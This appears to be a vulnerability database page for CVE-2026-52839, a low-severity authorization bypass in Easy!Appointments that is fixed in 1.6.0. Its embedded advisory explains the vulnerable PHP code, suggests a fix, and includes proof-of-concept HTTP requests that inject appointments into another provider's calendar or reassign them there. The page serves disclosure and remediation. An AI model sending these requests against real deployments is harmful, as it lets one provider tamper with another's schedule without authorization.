CVE-2026-52839: Alextselegidis/easyappointments Easy!Appointments Appointments/store And Appointments/update Allow Vulnerability
LOWCVE-2026-52839 is a LOW (CVSS 3.3) easy!appointments appointments/store and appointments/update allow vulnerability (CWE-639: Authorization Bypass Through User-Controlled Key) affecting Alextselegidis/easyappointments libraries in the Packagist ecosystem. The issue involves easy!appointments appointments/store and appointments/update allow cross-provider appointment injection — authorization bypass. Remediation is available by upgrading affected packages to version 1.6.0.
CVE-2026-52839 at a Glance
Security Impact
CVSS: 3.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N).
How to Fix CVE-2026-52839
To remediate this vulnerability, upgrade all affected Alextselegidis/easyappointments dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade alextselegidis/easyappointments to 1.6.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for alextselegidis/easyappointments
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-52839, inspect your project dependencies for Alextselegidis/easyappointments:
inspect dependencies for alextselegidis/easyappointments
Analyze the terminal output to locate any version of Alextselegidis/easyappointments in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.6.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-639: Authorization Bypass Through User-Controlled Key, where the system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. In Alextselegidis/easyappointments, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-52839 Affected Alextselegidis/easyappointments Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
alextselegidis/easyappointments
|
Packagist |
< 1.6.0
|
1.6.0
|
References
Frequently Asked Questions
What is CVE-2026-52839?
Which Alextselegidis/easyappointments versions are affected?
What version fixes CVE-2026-52839?
Is alextselegidis/easyappointments affected?
What is the CVSS score of CVE-2026-52839?
What CWE is associated with CVE-2026-52839?
How can I check Packagist dependencies for CVE-2026-52839?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-w8xc-8g92-v77h",
"modified" : "2026-07-29T16:26:25Z",
"published" : "2026-07-29T16:26:25Z",
"aliases" : [ "CVE-2026-52839" ],
"summary" : "Easy!Appointments appointments/store and appointments/update allow cross-provider appointment injection — Authorization Bypass",
"details" : "## Summary\n \nEasy!Appointments correctly filters provider-scoped appointments in the `appointments/search` response, proving that provider isolation is an intended security boundary. However, the direct mutation endpoints `appointments/store` and `appointments/update` only check generic appointment privileges and never verify that the submitted `id_users_provider` belongs to the current session.\n \nA normal authenticated provider can inject new appointments into another provider's schedule via `store`, or reassign existing appointments into a foreign provider's calendar via `update`. The `store` path contains an additional write-before-crash bug: the unauthorized row is committed to the database before the controller crashes on a type error, so the attacker receives an error response while the foreign appointment is already persisted.\n \n---\n \n## Root Cause — Step by Step Code Flow\n \n### Step 1 — Search correctly enforces provider isolation\nThe `search` endpoint filters out appointments belonging to other providers — proving provider isolation is an intended boundary:\n \n```php\n// Appointments.php\nif ($role_slug === DB_SLUG_PROVIDER) {\n foreach ($appointments as $index => $appointment) {\n if ((int) $appointment['id_users_provider'] !== (int) $user_id) {\n unset($appointments[$index]);\n }\n }\n}\n```\n \n### Step 2 — store() only checks generic add permission\nThe store endpoint checks only whether the caller can add appointments in general — no provider ownership check:\n \n```php\n// Appointments.php line 74-152\nif (cannot('add', PRIV_APPOINTMENTS)) {\n abort(403, 'Forbidden');\n}\n \n$appointment = json_decode(request('appointment'), true);\n```\n \n### Step 3 — Attacker-controlled id_users_provider saved directly\nThe controller whitelists and persists the appointment including the attacker-controlled provider ID:\n \n```php\n$this->appointments_model->only($appointment, $this->allowed_appointment_fields);\n$appointment_id = $this->appointments_model->save($appointment);\n```\n \nNo check is performed to verify `id_users_provider` matches the current session.\n \n### Step 4 — Write-before-crash on store()\nAfter the unauthorized row is committed, the controller crashes on a type error:\n \n```php\n$appointment = $this->appointments_model->find($appointment); // array passed instead of $appointment_id\n```\n \nThe attacker receives a 500 error response, but the foreign appointment row is already in the database.\n \n### Step 5 — update() has the same missing ownership check\nThe update endpoint also accepts attacker-controlled `id_users_provider` with only a generic edit permission check:\n \n```php\n// Appointments.php line 178-196\nif (cannot('edit', PRIV_APPOINTMENTS)) {\n abort(403, 'Forbidden');\n}\n \n$appointment = json_decode(request('appointment'), true);\n$appointment_id = $this->appointments_model->save($appointment);\n```\n \nA provider can reassign any appointment they can edit into a foreign provider's calendar.\n \n---\n \n## Proof of Concept\n \n**Attacker:** Provider with session ID `4`\n**Target:** Foreign provider with ID `2`\n \n**Step 1 — Inject appointment into foreign provider's schedule:**\n \n```http\nPOST /index.php/appointments/store HTTP/1.1\nHost: 127.0.0.1:18094\nCookie: <provider-4-session>\nContent-Type: application/x-www-form-urlencoded\n \ncsrf_token=<token>&appointment={\"start_datetime\":\"2026-05-29 15:00:00\",\"end_datetime\":\"2026-05-29 15:30:00\",\"notes\":\"foreign provider create by alicer\",\"id_users_provider\":2,\"id_users_customer\":3,\"id_services\":1}\n```\n \nResponse: `500 Internal Server Error` — type error on find()\n \n**But the row is committed:**\n```\nid start_datetime id_users_provider notes\n6 2026-05-29 15:00:00 2 foreign provider create by alicer\n```\n \nProvider 4 created a row that belongs to provider 2.\n \n---\n \n**Step 2 — Reassign existing appointment to foreign provider:**\n \n```http\nPOST /index.php/appointments/update HTTP/1.1\nHost: 127.0.0.1:18094\nCookie: <provider-4-session>\nContent-Type: application/x-www-form-urlencoded\n \ncsrf_token=<token>&appointment={\"id\":7,\"start_datetime\":\"2026-05-30 09:00:00\",\"end_datetime\":\"2026-05-30 09:30:00\",\"notes\":\"reassigned to provider 2 by alicer\",\"id_users_provider\":2,\"id_users_customer\":3,\"id_services\":1}\n```\n \nResponse: `200 OK`\n \n**Result:** Appointment 7 now belongs to provider 2 instead of provider 4.\n \n**Runtime verification result:**\n```\nattacker provider id: 4\nforeign created appointment provider id: 2\nreassigned appointment provider id: 2\nprovider-visible appointments: 0\nPASS\n```\n \nThe attacker's appointment search returns 0 results because both proof appointments now belong to the foreign provider.\n \n---\n \n## Real World Impact\n \nIn a multi-provider Easy!Appointments deployment — a clinic, salon, or service business with multiple staff members — any authenticated provider can:\n \n- Inject fake appointments into a colleague's schedule causing confusion and double-bookings\n- Move their own appointments into another provider's calendar to hide or offload them\n- Disrupt scheduling integrity for staff and customers\n- Create unauthorized appointments that customers and admins attribute to the wrong provider\nThe write-before-crash bug in `store()` makes detection harder — the attacker receives an error response that may appear harmless while the unauthorized record is silently committed.\n \n---\n \n## Suggested Fix\n \n**In `store()` and `update()`:** Enforce that `id_users_provider` matches the current session provider ID for non-admin roles:\n \n```php\nif ($role_slug === DB_SLUG_PROVIDER) {\n $appointment['id_users_provider'] = $user_id; // force own provider ID\n}\n```\n \n**Fix the write-before-crash bug in `store()`:**\n \n```php\n$appointment_id = $this->appointments_model->save($appointment);\n$appointment = $this->appointments_model->find($appointment_id); // use ID not array\n```\n \n---\n \n## Reporter\n**Yash Shendge (ashrexon)**\n2026-05-25",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "alextselegidis/easyappointments"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.6.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 1.5.2"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-w8xc-8g92-v77h"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-52839"
}, {
"type" : "WEB",
"url" : "https://github.com/alextselegidis/easyappointments/commit/725eafa647308846ce887657db12771a829e42ef"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/alextselegidis/easyappointments"
}, {
"type" : "WEB",
"url" : "https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-639", "CWE-862" ],
"severity" : "LOW",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-29T16:26:25Z",
"nvd_published_at" : "2026-07-14T16:17:00Z"
}
}